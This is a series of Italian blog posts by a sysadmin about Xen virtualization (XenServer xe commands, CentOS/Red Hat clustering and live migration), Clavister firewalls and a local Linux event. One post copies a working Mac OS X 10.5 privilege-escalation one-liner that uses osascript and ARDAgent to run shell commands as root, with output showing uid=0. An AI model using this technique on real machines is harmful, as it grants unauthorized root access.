Xen 4, il giorno dopo

Eccomi qui!

Mi hanno gi? rubato un nodo del fatidico cluster, comunque nel frattempo ho altro da fare.

Infatti dopo ave installato XenCenter e averci sbattuto un po la testa mi accorgo che il suo utilizzo ? osceno!

Forse ? per la poca maturit? del prodotto ma XenCenter non visualizza in modo corretto le risorse e non riesco nemmeno a creare un sotrage shared con NFS..

Mi ? successo pure che certi settaggi cambiavano solo chiudendo e riaprendo la GUI.

Allora mi sono deciso di seguire la via che nei sistemi unix di solito funziona sempre: il fatidico terminale con i suoi comandi!

Ho praticamente lanciato i comandi qui sotto, ed ho scoperto che con xe (o xe.exe per windows) posso fare proprio tutto e ripeto TUTTO!

Create an SR on the NFS share at the Pool level

1.

Open a host text console on any XenServer Host in the Pool.
2.

Create the Storage Repository on server:/path

xe sr-create content-type=user type=nfs name-label=<SR name> shared=true device-config-server=<server> device-config-serverpath=<path>

The device-config-server refers to the hostname of the NFS server and device-config-serverpath refers to the path on the server. Since shared is set to true, the shared storage will be automatically connected to every host in the Pool and any hosts that subsequently join will also be connected to the storage. The UUID of the created Storage Repository will be printed on the screen.
3.

Find the UUID of the Pool

xe pool-list

4.

Set the shared storage as the Pool-wide default

xe pool-param-set uuid=<UUID of the Pool> default-SR=<UUID of the Storage Repository>

Since the shared storage has been set as the Pool-wide default, all future VMs will have their disks created on shared storage by default.

In 5 minuti sono riuscito a fare quello che su un ora con la GUI non riuscivo neanche a concepire!

Red Hat virtualization 2009

Il 2009 per Red Hat è un nuovo anno dove investire e crescere ulteriormente sulla virtualizzazione con Xen

La certificazione di 3000 applicazioni conferma l’impegno e l’interesse del mercato della virtualizzazione in mano fino a pochi anni fa esclusivamente da VMWARE

Gli accordi intrapresi tra Microsoft e Red Hat porteranno sicuramente a dei driver paravirtualized per le VM Windows colmando cosi l’unica lacuna per il sistema operativo che gia offriva una soluzione di clustering e live migrazione deli sistemi operativi guest.

 

CentOs\RedHat virtualization, conclusioni.

Dopo un mese di test e verifiche le conclusioni non sono molto positive.

Come prima cosa sconsiglio a tutti di utilizzare il filesystem gfs2 è ancora instabile e non funziona bene sopratutto quando i carichi cominciano ad essere maggiori.

Parlando invece di virtualizzazione, la soluzione di Red Hat non è ancora pronta a mio avviso per la produzione di macchine virtuali per l’esercizio, sopratutto per quelle Windows.

Ci sono poche notizie riguardo la fornitura da parte di Red Hat dei corretti driver paravirtualize (PV), sembra sia prevista ma non c’è una data ben definita.

Senza driver PV le macchine virtuali Windows sono eseguite nella modalità "full virtualized" con scarse performance e con una stabilità scarsa. Infatti molte volte delle macchine virtuali Windows si sono "riavviate" senza un intervento umano.

L’inverso invece succede per le macchine ospite Linux, ho testato una distribuzione CentOs paravirtualized e ha funzionato benissimo per tutto il mese, molto stabile e ottime performance.

Le funzionalità di Live migration funziona molto bene anche con guest Windows senza i driver PV, ma qualche altra limitiazione nell’integrazione della cluster suite di RH con Xen a volte rende l’esecuzione delle VM instabile, in poche parole a volte le VM non vengno riavviate dopo un loro crash o i nodi del cluster decidono di migrare l’ospite su un nodo senza un nostro preciso comando.

Nel frattempo in questi giorni ho valutato una soluzione Citrix XenServer Enterprise su due nodi e ho notato delle strane differenze e limitazioni che Citrix ha imposto alla loro versione di Xen, la stabilità però esiste e la gestione dei nodi è ottima e molto semplice.

In conclusione Red Hat Virtualization non è ancora una realtà stabile, se non per virtualizzare dei sistemi Linux spendendo molto poco o praticamente nullla utilizzando CentOs.

Probabilmente con i nuovi fix di Red Hat e con la produzione dei driver PV Citrix e Vmware avranno sicuramente dei ottimi avversari, ma per il momento, almeno per il mio caso e il mio budget Citrix XenServer è l’unica soluzione professionale e affidabile oggi disponibile nel mercato. 

Clavister firewall

Nel prossimo mese dovrò installare questi due ottimi firewall, non è semplice perchè non dovrò dare disservizi e passare tutte le policy e configurazioni del vecchio e blasonatissimo Fotrigate (che non mi sento di consigliare).

Clavister a differenza di molti alti firewall non è molto conosciuto ma ha tutte le carte in regola per essere la soluzione piu ideale a costi veramente ragionevoli. Non che sia la miglior soluzione ma chi ha voglia di spendere 10000 euro per dei prodotti che non sfrutteremo appieno?

La caratteristica che più mi affascina di Clavister è che si basa su dei concetti molto semplici ma irrimovibili, hardware standard e sistema opertivo ultra performante.

Invece di presentare grafici assurdi su valori di performance basati su test di utilizzo non reali e cercare di valorizzare di più le capacità commerciali dell’azienda che quelle tecniche, Clavister scrive un sistema operativo di pochi kilobytes in pure ASSEMBLY vincendo non pochi awards per il risultato ottenuto

Ci sono poi molte altre motivazioni, come ad esempio il costo della licenza e il software correlato, un costo veramente basso a confronto di altre soluzioni identiche di Netscreen.

Ora non devo far altro che creare un centinaio di policies e configurare in HA gli apparati!

CentOs 5.2 Xen live migration working!!

Mi sembra quasi impossibile ma funziona!

Ho creato un cluster di due nodi Xen 3 con rilocazione delle macchine virtuali a caldo senza nessuna perdita di calcolo di connessione o riavvio.

in questo modo se devo fare manutenzione ad un server posso migrare le virtual machine senza recare nessun tipo di disservizio e potenzialmente posso espandere i nodi pratecipanti del cluster nel tempo!

Citrix XenServer o CentOs 5?

XenServer è esclusivamente un virtiualizzatore Xen con una GUI proprietaria, di persè XenServer non è una soluzione di alta affidabilita da paragonare ad una soluzione di cluster HA (Red Hat cluster suite o IBM HACMP ad esempio), però grazie alla tecnologia live migration, gia conosciuta nei sistemi VMware, si può semplicemente creare un sistema di ripristino quasi immediato e  di load balancing delle macchine virtuali (sottolineo solo delle macchine virtuali) qualcosa di simile a Mosix ma a livello di virtual machine.

I costi della versione commerciale di  XenServer con l’acquisto della società da parte di Citrix sono variati nei mesi fino ad allienarsi alla versione più completa di Esx di Vmware. Per sapere i prezzi vi invito a fare dei confronti nei due corrispetivi siti aziendali.

Se valutiamo una soluzione non commerciale è possibile sfurttare le caratteristiche di Red Hat attraverso la distribuzione CentOS, che non è altro che Red Hat sbrandizzata, quindi identico sistema ma senza loghi o riferimenti commericali all’azienda del cappello rosso, in questo caso possiamo anche sfruttare la RedHat Cluster Suite o comunque tutti i pacchetti in più che possiamo avere con la distribuzione CentOs.

L’installazione del DOM (la macchina che osptia le VM) con Xen di Cirtix è semplicissimo, si inserisce un DVD nel nostro server e si fa altro che attendere, mentre  la creazione delle VM lo è ancora di piu con il XenCenter (GUI per Windows) dove si può gestire tutto in modo centralizzato.

Se scegliamo di usare Centos installando i pacchetti di virtualizzazione, avremmo un sistema abbastanza semplice gestibile attraverso molteplici interfaccie sia grafiche che da riga di comando, la piu semplice è virt-manager . Esiste un tools non ufficiale ConVirt molto piu completo ma non molto maturo.

Scegliendo CentOs non avremmo sicuramente un sistema pronto, facile e automatico, tutto dipende da cosa si vuol fare, l’uso di una semplice macchina di DOM senza l’utilizzo di live migration è praticamente immediato, bastano poche ore per capire il tutto.

Personalmente preferisco la soluzione di RedHat\CentOs, ho più flessibilià, posso usare i pacchetti di RedHat, quindi posso anche utilizzare Xen a livello di RedHat Cluster Suite e mi sento più libero di fare le mie scelte senza spendere un centesimo in licenze.

in questi giorni sto preparando due server CentOs 5.2 e testando il Live Migration, ritornerò molto presto a farvi sapere come è andata!

Root escalation, osx 10.5. Peggio di windows?

Non mi esprimo e copio incollo semplicemente quello che č il bug..

mymac$ osascript -e ‘tell app “ARDAgent” to do shell script “id”‘;

uid=0(root)gid=0(wheel)egid=20(staff)groups=0(wheel),1(daemon),

2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),

5(operator),80(admin),20(staff)

fonte: http://it.slashdot.org/article.pl?sid=08/06/18/1919224&from=rss

HAT 2008

Un nuovo appuntamento sta per nascere, la mia curiosità è molta perchè finalmente si tiene un evento Linux in stile ESC vicino a casa!

Saranno presenti i vari LUG di tutto il veneto e la posizione centrale di Mirano (VE)  rispetto Venezia, Padove e Treviso è molto favorevole (mi spiace per il LUG di Verona :) ).

La prima edizione di HAT 2008 sarà a porte chiuse, l’esperienza è nuova e non si vuole strafare e aprire tutto al pubblico curioso. Per poter partecipare basta chiedere l’invito scrivendo a un indirizzo email.

Io sono stato invitato e vi incollo qui sotto un piccolo pezzo del sito interno visibile solo dai partecipanti.

HAT e’ ad invito dato che lo spazio non e’ enorme ed e’ meglio non prendersi la responsabilita’ di qualcosa aperto al pubblico, tra di noi ci si conosce e se ci sono amici e/o giovani smanettoni che vogliono venire sono i ben venuti finche c’e’ posto.

Semplicemente scrivi a invite@hackthis.info e chiedi un invito, se vuoi portare amici scrivilo cosi’ quando chiederanno l’invito loro riceveranno risposta. Per favore, sii informale : )

Senza la conferma da parte di invite@hackthis.info potresti non trovare spazio per dormire o da mangiare oltre che subire le scoreggie puzzolenti di Nexus da molto vicino.

Default

A volte il default risolve mille problemi e funziona bene senza troppe perdite di tempo ;)

Se mai un giorno troverò un tema che mi piace di wordpress allora sostituirò questo bel default!